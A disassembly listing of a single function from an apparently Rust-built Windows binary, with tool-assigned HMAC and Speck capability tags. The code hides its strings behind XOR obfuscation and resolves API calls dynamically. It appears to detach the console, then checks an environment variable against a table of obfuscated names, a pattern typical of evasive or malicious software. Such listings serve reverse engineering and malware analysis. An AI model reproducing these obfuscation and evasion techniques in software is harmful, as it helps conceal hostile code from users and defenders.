Function at 0x14006fa80
Capabilities:
Authenticate hmac
Encrypt data using speck

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x4d8
movaps xmmword [rsp + 0x4c0], xmm6
movabs r15, 0x8000000000000000
lea rax, [0x1403b4d37]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x5036d67a
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h9b698f0c6cfa08fc
movabs rcx, 0xdcff23d83edce924
xor rcx, qword [rax]
mov edx, 0x2803ccda
xor edx, dword [rax + 8]
mov qword [rsp + 0x180], rcx
mov dword [rsp + 0x188], edx
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0x180]
mov r8d, 0xc
call sym.hello::utils::loader::LoadMod::new::h6aa09c92f5645740
cmp qword [rsp + 0xf0], r15
jne 0x140075f71
mov rdi, qword [rsp + 0xf8]
lea rax, [0x1403bd365]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xc05ab3f7
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h9e1b680ddfdc8640
movabs rcx, 0xe5f1b461248d3dda
xor rcx, qword [rax]
mov edx, 0xbcc2463f
xor edx, dword [rax + 8]
mov qword [rsp + 0x180], rcx
mov dword [rsp + 0x188], edx
lea rcx, [rsp + 0xf0]
lea r8, [rsp + 0x180]
mov r9d, 0xc
mov rdx, rdi
call sym.hello::utils::loader::LoadMod::get_function::he5f5b36109da995f
cmp qword [rsp + 0xf0], r15
jne 0x140075fb4
mov rbx, qword [rsp + 0xf8]
lea rax, [0x1403bd938]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x19eff698
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h68cc1f2039ede593
movabs rcx, 0xd43bafc8a0253582
xor rcx, qword [rax]
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 9
xor r8b, 0x1a
xor dl, 0x9d
mov qword [rsp + 0x180], rcx
mov byte [rsp + 0x188], al
mov byte [rsp + 0x189], r8b
mov byte [rsp + 0x18a], dl
lea rcx, [rsp + 0xf0]
lea r8, [rsp + 0x180]
mov r9d, 0xb
mov rdx, rdi
call sym.hello::utils::loader::LoadMod::get_function::he5f5b36109da995f
cmp qword [rsp + 0xf0], r15
jne 0x140075fd7
mov r14, qword [rsp + 0xf8]
lea rax, [0x1403befce]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x4a4df19d
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h50ab97f7477b64ad
movabs rcx, 0xb97b8420578f7c25
xor rcx, qword [rax]
mov edx, 0xf603fb3f
xor edx, dword [rax + 8]
mov qword [rsp + 0x180], rcx
mov dword [rsp + 0x188], edx
lea rcx, [rsp + 0xf0]
lea rsi, [rsp + 0x180]
mov r9d, 0xc
mov rdx, rdi
mov r8, rsi
call sym.hello::utils::loader::LoadMod::get_function::he5f5b36109da995f
cmp qword [rsp + 0xf0], r15
jne 0x140075ffa
mov r12, r15
mov r15, qword [rsp + 0xf8]
call rbx
mov ecx, 0xfffffff6
xor edx, edx
call r15
mov ecx, 0xfffffff5
xor edx, edx
call r15
mov ecx, 0xfffffff4
xor edx, edx
call r15
call r14
mov rcx, rdi
call sym.__hello::utils::loader::LoadMod_as_core::ops::drop::Drop_::drop::h55581d1d5cf97cd3
mov rax, qword [0x1404a5148]
lea r14, [r12 - 1]
test rax, r14
mov r15, r12
je 0x14006fd0f
call sym.std::panicking::panic_count::is_zero_slow_path::h69afdb6e2e0d700f
test al, al
je 0x14007625f
mov ecx, 0x3fffffff
xor eax, eax
lock cmpxchg dword [0x1404a50e8], ecx
jne 0x14006fd71
mov rax, qword [0x1404a5148]
test rax, r14
je 0x14006fd89
call sym.std::panicking::panic_count::is_zero_slow_path::h69afdb6e2e0d700f
movzx ecx, byte [0x1404a50f0]
mov rdi, qword [0x1404a50f8]
mov rbx, qword [0x1404a5100]
mov qword [0x1404a50f8], 1
lea rcx, [0x1403bdb98]
mov qword [0x1404a5100], rcx
test al, al
je 0x14006fdd3
mov rax, qword [0x1404a5148]
test rax, r14
jne 0x14006fdc3
jmp 0x14006fdd3
lea rcx, [0x1404a50e8]
call sym.std::sys::sync::rwlock::futex::RwLock::write_contended::h1f7a17e147db140b
mov rax, qword [0x1404a5148]
test rax, r14
jne 0x14006fd2c
movzx eax, byte [0x1404a50f0]
mov rdi, qword [0x1404a50f8]
mov rbx, qword [0x1404a5100]
mov qword [0x1404a50f8], 1
lea rax, [0x1403bdb98]
mov qword [0x1404a5100], rax
mov rax, qword [0x1404a5148]
test rax, r14
je 0x14006fdd3
call sym.std::panicking::panic_count::is_zero_slow_path::h69afdb6e2e0d700f
test al, al
jne 0x14006fdd3
mov byte [0x1404a50f0], 1
mov edx, 0xc0000001
lock xadd dword [0x1404a50e8], edx
add edx, 0xc0000001
cmp edx, 0x40000000
jb 0x14006fdfa
lea rcx, [0x1404a50e8]
call sym.std::sys::sync::rwlock::futex::RwLock::wake_writer_or_readers::h95aa6de0e93e8fee
mov qword [rsp + 0x1d0], r15
test rdi, rdi
je 0x14006fe37
mov rax, qword [rbx]
test rax, rax
je 0x14006fe14
mov rcx, rdi
call rax
cmp qword [rbx + 8], 0
je 0x14006fe37
cmp qword [rbx + 0x10], 0x11
jb 0x14006fe26
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rdi
call fcn.14021a7bc
movabs rdi, 0x22b8a33617f8711b
lea rax, [0x1403b13d3]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xe089b75a
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h992785c700b1e41c
mov rax, qword [rax]
xor rax, rdi
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0x30]
lea r14, [rsp + 0xf0]
mov r8d, 8
mov rdx, r14
call sym.std::env::_var_os::hfdaca986d527d091
mov r15, qword [rsp + 0x30]
movabs rax, 0x8000000000000000
cmp r15, rax
je 0x14007603d
mov rdi, qword [rsp + 0x38]
mov r12, qword [rsp + 0x40]
cmp byte [rsp + 0x48], 0
je 0x140072d1a
movzx eax, byte [0x1404a5170]
mov edx, 0x250
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140076042
mov rbx, rax
lea rax, [0x1403b2233]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xb04f436b
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h32ef1b28ec0178f2
movabs rcx, 0xe4ec6769bfed01a5
xor rcx, qword [rax]
movabs rdx, 0xf7290cfa682f1e49
xor rdx, qword [rax + 8]
movzx eax, word [rax + 0x10]
mov r8d, eax
xor r8b, 0x81
shr eax, 8
xor al, 0xd3
mov qword [rsp + 0xf0], rcx
mov qword [rsp + 0xf8], rdx
mov byte [rsp + 0x100], r8b
mov byte [rsp + 0x101], al
lea rax, [0x1403bd5bc]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xd87d827a
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h728d7767951e4c64
movabs rcx, 0xfbf74f7a26fad625
xor rcx, qword [rax]
mov edx, 0x5118c8b6
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0x91
shr eax, 8
xor al, 0xba
mov qword [rsp + 0x180], rcx
mov dword [rsp + 0x188], edx
mov byte [rsp + 0x18c], r8b
mov byte [rsp + 0x18d], al
lea rax, [0x1403b0a40]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xc9ad1273
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h50c6b6b172549d7c
mov ecx, 0xc95c3bde
xor ecx, dword [rax]
movzx eax, word [rax + 4]
mov edx, eax
xor dl, 0x6d
shr eax, 8
xor al, 0x45
movzx eax, al
shl rax, 0x28
movzx edx, dl
shl rdx, 0x20
or rdx, rax
mov dword [rsp + 0x3b0], ecx
shr rdx, 0x20
mov word [rsp + 0x3b4], dx
lea rax, [0x1403bcdfa]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x840a5259
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::he21f888407d30930
movabs rcx, 0x3a95187f48720f53
xor rcx, qword [rax]
mov qword [rsp + 0x270], rcx
lea rax, [0x1403b9b12]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xda71c275
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h59fe6946a0d064c1
movabs rcx, 0xa16438bb0359fdad
xor rcx, qword [rax]
mov qword [rsp + 0x278], rcx
lea rax, [0x1403bc626]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x6356a9c0
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h3a601b2a713c4750
mov ecx, 0x8506cfbc
xor ecx, dword [rax]
mov dword [rsp + 0x3e0], ecx
lea rax, [0x1403bc052]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x45a50be9
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h799fd6105bd0d2b2
mov ecx, 0xb881338e
xor ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0x36
mov dword [rsp + 0x328], ecx
mov byte [rsp + 0x32c], al
lea rax, [0x1403bd36a]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x42a7b096
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h8958b880c12d70e4
mov ecx, 0xee23785
xor ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0xc
mov dword [rsp + 0x330], ecx
mov byte [rsp + 0x334], al
lea rax, [0x1403be20f]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x894e2dc7
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::he99b09404664489c
mov ecx, 0x787e6678
xor ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0x20
mov dword [rsp + 0x338], ecx
mov byte [rsp + 0x33c], al
lea rax, [0x1403b76da]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x36def27d
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::hdc5be65ee06655c8
movabs rcx, 0x32fdcf26bdcff223
xor rcx, qword [rax]
mov edx, 0xe8301fea
xor edx, dword [rax + 8]
mov qword [rsp + 0x280], rcx
mov dword [rsp + 0x288], edx
lea rax, [0x1403b2a4b]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xb72e060
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h8f42c53d2ed43637
movabs rcx, 0x34783a6a68a6e52b
xor rcx, qword [rax]
movzx eax, byte [rax + 8]
xor al, 0xf0
mov qword [rsp + 0x388], rcx
mov byte [rsp + 0x390], al
lea rax, [0x1403bb798]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x7322b5a9
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h2a95f3f903df2199
mov ecx, 0x329ee00a
xor ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0xe5
mov dword [rsp + 0x340], ecx
mov byte [rsp + 0x344], al
lea rax, [0x1403b66d4]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x2ce651dc
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h3c67e025eb09c803
movabs rcx, 0x1fe93c8ded253c78
xor rcx, qword [rax]
mov edx, 0x37689691
xor edx, dword [rax + 8]
mov qword [rsp + 0x2e8], rcx
mov dword [rsp + 0x2f0], edx
lea rax, [0x1403b907a]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x93037580
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h341cc7fa08a0a309
mov ecx, 0x12ffa7a1
xor ecx, dword [rax]
mov dword [rsp + 0x3e4], ecx
lea rax, [0x1403b675e]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x276dde59
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h894616e7d25cf4f3
mov ecx, 0xa3e5cf71
xor ecx, dword [rax]
mov dword [rsp + 0x3e8], ecx
lea rax, [0x1403b5253]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x5f98a131
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::hb79ebfce2691e13b
mov ecx, 0x5a5d506d
xor ecx, dword [rax]
movzx eax, word [rax + 4]
mov edx, eax
xor dl, 0xe5
shr eax, 8
add al, 0x80
movzx eax, al
shl rax, 0x28
movzx edx, dl
shl rdx, 0x20
or rdx, rax
mov dword [rsp + 0x3b8], ecx
shr rdx, 0x20
mov word [rsp + 0x3bc], dx
lea rax, [0x1403bd31e]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x458911ab
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h84e9f6dee6c4cb9d
movabs rcx, 0xcdc798e6f094ae84
xor rcx, qword [rax]
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0xeb
shr eax, 8
xor al, 0xb6
mov qword [rsp + 0x348], rcx
mov byte [rsp + 0x350], dl
mov byte [rsp + 0x351], al
lea rax, [0x1403b8c68]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xa6de3492
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h1de351c1fd17370e
mov ecx, 0xae6e0cd
xor ecx, dword [rax]
movzx eax, word [rax + 4]
mov edx, eax
xor dl, 0xf2
shr eax, 8
xor al, 0x5d
movzx eax, al
shl rax, 0x28
movzx edx, dl
shl rdx, 0x20
or rdx, rax
mov dword [rsp + 0x3c0], ecx
shr rdx, 0x20
mov word [rsp + 0x3c4], dx
lea rax, [0x1403bce66]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x1087a395
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h8f9198de7de03d80
movabs rcx, 0xbddb79cd5afe5cdf
xor rcx, qword [rax]
mov edx, 0x8eb4a73c
xor edx, dword [rax + 8]
movzx eax, byte [rax + 0xc]
xor al, 0xb5
mov qword [rsp + 0x220], rcx
mov dword [rsp + 0x228], edx
mov byte [rsp + 0x22c], al
lea rax, [0x1403b1de7]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x955f07a2
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h973807390c5dc16d
movabs rcx, 0x81f8621ecb91c017
xor rcx, qword [rax]
mov qword [rsp + 0x290], rcx
lea rax, [0x1403bd626]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x9d0bfb07
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::hba6c18041a2d4139
movabs rcx, 0xaa82ff7efc3fca01
xor rcx, qword [rax]
mov edx, 0x58c5fcc8
xor edx, dword [rax + 8]
mov qword [rsp + 0x250], rcx
mov dword [rsp + 0x258], edx
lea rax, [0x1403b4966]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x4bd91bd
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h1edfea394d162533
mov ecx, 0xb08c9da1
xor ecx, dword [rax]
movzx r8d, byte [rax + 6]
movzx eax, word [rax + 4]
mov edx, eax
shr edx, 8
xor al, 0x9d
xor dl, 0x2b
xor r8b, 0x2d
movzx r8d, r8b
mov byte [rsp + 0x37e], r8b
shl r8, 0x30
movzx edx, dl
shl rdx, 0x28
or rdx, r8
movzx eax, al
shl rax, 0x20
or rax, rdx
mov dword [rsp + 0x378], ecx
shr rax, 0x20
mov word [rsp + 0x37c], ax
lea rax, [0x1403b85d4]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x469c4bc5
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h1273a57791745e8a
mov ecx, 0xbc0083a9
xor ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0xf3
mov dword [rsp + 0x358], ecx
mov byte [rsp + 0x35c], al
lea rax, [0x1403bba47]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x4691c2ad
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h2b6e565e2ef97349
mov ecx, 0x32a621dd
xor ecx, dword [rax]
movzx r8d, byte [rax + 6]
movzx eax, word [rax + 4]
mov edx, eax
shr edx, 8
xor al, 0xf3
xor dl, 0xa8
xor r8b, 0x22
movzx r8d, r8b
mov byte [rsp + 0x386], r8b
shl r8, 0x30
movzx edx, dl
shl rdx, 0x28
or rdx, r8
movzx eax, al
shl rax, 0x20
or rax, rdx
mov dword [rsp + 0x380], ecx
shr rax, 0x20
mov word [rsp + 0x384], ax
lea rax, [0x1403b0ef3]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x27eb9656
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h8f35c19157793099
mov ecx, 0xed990e6d
xor ecx, dword [rax]
mov dword [rsp + 0x3ec], ecx
lea rax, [0x1403b2344]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xe0e1f05a
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h0f651412a132b5bb
mov ecx, 0x75bf2836
xor ecx, dword [rax]
movzx eax, word [rax + 4]
mov edx, eax
xor dl, 0x2a
shr eax, 8
xor al, 0xad
movzx eax, al
shl rax, 0x28
movzx edx, dl
shl rdx, 0x20
or rdx, rax
mov dword [rsp + 0x3c8], ecx
shr rdx, 0x20
mov word [rsp + 0x3cc], dx
lea rax, [0x1403b1d83]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x9e239dd5
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h32942444fab8aa6d
movabs rcx, 0xa0eb7e8d7b5335d9
xor rcx, qword [rax]
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0x10
xor r8b, 0x9b
xor dl, 0x6d
mov qword [rsp + 0x2a0], rcx
mov byte [rsp + 0x2a8], al
mov byte [rsp + 0x2a9], r8b
mov byte [rsp + 0x2aa], dl
lea rax, [0x1403b1d56]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xd7acd2b8
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h24b1b00372e04e48
movabs rcx, 0x1e06ad5f89fd8623
xor rcx, qword [rax]
mov edx, 0xbe0839a9
xor edx, dword [rax + 8]
movzx eax, byte [rax + 0xc]
xor al, 0xd7
mov qword [rsp + 0x2b0], rcx
mov dword [rsp + 0x2b8], edx
mov byte [rsp + 0x2bc], al
lea rax, [0x1403bea4f]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xb2d4742
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h854a1a3a5625f0fe
movabs rcx, 0xc843691b6b93a920
xor rcx, qword [rax]
mov qword [rsp + 0x298], rcx
lea rax, [0x1403b78e8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xd5a23cf9
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h42462799c37adea9
mov ecx, 0x393c7ec4
xor ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0x76
mov dword [rsp + 0x360], ecx
mov byte [rsp + 0x364], al
lea rax, [0x1403b9b1b]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x278cada
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h93f89be0a044d815
mov ecx, 0x15113073
xor ecx, dword [rax]
mov dword [rsp + 0x3f0], ecx
lea rax, [0x1403b6e17]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xcc929abd
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h4cdfe2de43ec6780
mov ecx, 0x1f1c8906
xor ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0x18
mov dword [rsp + 0x368], ecx
mov byte [rsp + 0x36c], al
lea rax, [0x1403b99b7]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x9dbde721
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h2edb3a88e3fd9f7c
mov ecx, 0xaa2dd3f7
xor ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0x1e
mov dword [rsp + 0x370], ecx
mov byte [rsp + 0x374], al
lea rax, [0x1403bd172]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xec891341
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::hd5214f66ee67b73f
mov ecx, 0xc01de431
xor ecx, dword [rax]
movzx eax, word [rax + 4]
mov edx, eax
xor dl, 0xfc
shr eax, 8
xor al, 0xb5
movzx eax, al
shl rax, 0x28
movzx edx, dl
shl rdx, 0x20
or rdx, rax
mov dword [rsp + 0x3d0], ecx
shr rdx, 0x20
mov word [rsp + 0x3d4], dx
lea rax, [0x1403b4682]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x95092692
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h1b8ce965dd7cdd1e
mov ecx, 0xfc9efb2b
xor ecx, dword [rax]
movzx eax, word [rax + 4]
mov edx, eax
xor dl, 0x16
shr eax, 8
xor al, 0xd0
movzx eax, al
shl rax, 0x28
movzx edx, dl
shl rdx, 0x20
or rdx, rax
mov dword [rsp + 0x3d8], ecx
shr rdx, 0x20
mov word [rsp + 0x3dc], dx
lea rax, [0x1403b2139]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xe60cd94c
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::hcffce356cd546f37
mov ecx, 0xfb6b9eb5
xor ecx, dword [rax]
mov dword [rsp + 0x3f4], ecx
lea rax, [0x1403b4a3f]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xe33af028
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h259150e85f150f65
movabs rcx, 0xc41eb41bc2c09329
xor rcx, qword [rax]
mov edx, 0x412677f5
xor edx, dword [rax + 8]
movzx eax, byte [rax + 0xc]
xor al, 0x39
mov qword [rsp + 0x1e0], rcx
mov dword [rsp + 0x1e8], edx
mov byte [rsp + 0x1ec], al
mov qword [rbx], r14
mov qword [rbx + 8], 0x12
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xe
lea rax, [rsp + 0x3b0]
mov qword [rbx + 0x20], rax
mov qword [rbx + 0x28], 6
lea rax, [rsp + 0x270]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], 8
lea rax, [rsp + 0x278]
mov qword [rbx + 0x40], rax
mov qword [rbx + 0x48], 8
lea rax, [rsp + 0x3e0]
mov qword [rbx + 0x50], rax
mov qword [rbx + 0x58], 4
lea rax, [rsp + 0x328]
mov qword [rbx + 0x60], rax
mov qword [rbx + 0x68], 5
lea rax, [rsp + 0x330]
mov qword [rbx + 0x70], rax
mov qword [rbx + 0x78], 5
lea rax, [rsp + 0x338]
mov qword [rbx + 0x80], rax
mov qword [rbx + 0x88], 5
lea rax, [rsp + 0x280]
mov qword [rbx + 0x90], rax
mov qword [rbx + 0x98], 0xc
lea rax, [rsp + 0x388]
mov qword [rbx + 0xa0], rax
mov qword [rbx + 0xa8], 9
lea rax, [rsp + 0x340]
mov qword [rbx + 0xb0], rax
mov qword [rbx + 0xb8], 5
lea rax, [rsp + 0x2e8]
mov qword [rbx + 0xc0], rax
mov qword [rbx + 0xc8], 0xc
lea rax, [rsp + 0x3e4]
mov qword [rbx + 0xd0], rax
mov qword [rbx + 0xd8], 4
lea rax, [rsp + 0x3e8]
mov qword [rbx + 0xe0], rax
mov qword [rbx + 0xe8], 4
lea rax, [rsp + 0x3b8]
mov qword [rbx + 0xf0], rax
mov qword [rbx + 0xf8], 6
lea rax, [rsp + 0x348]
mov qword [rbx + 0x100], rax
mov qword [rbx + 0x108], 0xa
lea rax, [rsp + 0x3c0]
mov qword [rbx + 0x110], rax
mov qword [rbx + 0x118], 6
lea rax, [rsp + 0x220]
mov qword [rbx + 0x120], rax
mov qword [rbx + 0x128], 0xd
lea rax, [rsp + 0x290]
mov qword [rbx + 0x130], rax
mov qword [rbx + 0x138], 8
lea rax, [rsp + 0x250]
mov qword [rbx + 0x140], rax
mov qword [rbx + 0x148], 0xc
lea rax, [rsp + 0x378]
mov qword [rbx + 0x150], rax
mov qword [rbx + 0x158], 7
lea rax, [rsp + 0x358]
mov qword [rbx + 0x160], rax
mov qword [rbx + 0x168], 5
lea rax, [rsp + 0x380]
mov qword [rbx + 0x170], rax
mov qword [rbx + 0x178], 7
lea rax, [rsp + 0x3ec]
mov qword [rbx + 0x180], rax
mov qword [rbx + 0x188], 4
lea rax, [rsp + 0x3c8]
mov qword [rbx + 0x190], rax
mov qword [rbx + 0x198], 6
lea rax, [rsp + 0x2a0]
mov qword [rbx + 0x1a0], rax
mov qword [rbx + 0x1a8], 0xb
lea rax, [rsp + 0x2b0]
mov qword [rbx + 0x1b0], rax
mov qword [rbx + 0x1b8], 0xd
lea rax, [rsp + 0x298]
mov qword [rbx + 0x1c0], rax
mov qword [rbx + 0x1c8], 8
lea rax, [rsp + 0x360]
mov qword [rbx + 0x1d0], rax
mov qword [rbx + 0x1d8], 5
lea rax, [rsp + 0x3f0]
mov qword [rbx + 0x1e0], rax
mov qword [rbx + 0x1e8], 4
lea rax, [rsp + 0x368]
mov qword [rbx + 0x1f0], rax
mov qword [rbx + 0x1f8], 5
lea rax, [rsp + 0x370]
mov qword [rbx + 0x200], rax
mov qword [rbx + 0x208], 5
lea rax, [rsp + 0x3d0]
mov qword [rbx + 0x210], rax
mov qword [rbx + 0x218], 6
lea rax, [rsp + 0x3d8]
mov qword [rbx + 0x220], rax
mov qword [rbx + 0x228], 6
lea rax, [rsp + 0x3f4]
mov qword [rbx + 0x230], rax
mov qword [rbx + 0x238], 4
lea rax, [rsp + 0x1e0]
mov qword [rbx + 0x240], rax
mov qword [rbx + 0x248], 0xd
lea rax, [r12 - 1]
xor ecx, ecx
jmp 0x140070dc1
add rcx, 0x10
cmp rcx, 0x250
je 0x140070e8f
cmp qword [rbx + rcx + 8], r12
jne 0x140070db0
test r12, r12
je 0x140070e58
mov rdx, qword [rbx + rcx]
movzx r8d, byte [rdx]
movzx r9d, byte [rdi]
lea r10d, [r8 - 0x41]
cmp r10b, 0x1a
setb r10b
shl r10b, 5
lea r11d, [r9 - 0x41]
cmp r11b, 0x1a
setb r11b
shl r11b, 5
or r10b, r8b
or r11b, r9b
cmp r10b, r11b
jne 0x140070db0
xor r8d, r8d
nop dword [rax + rax]
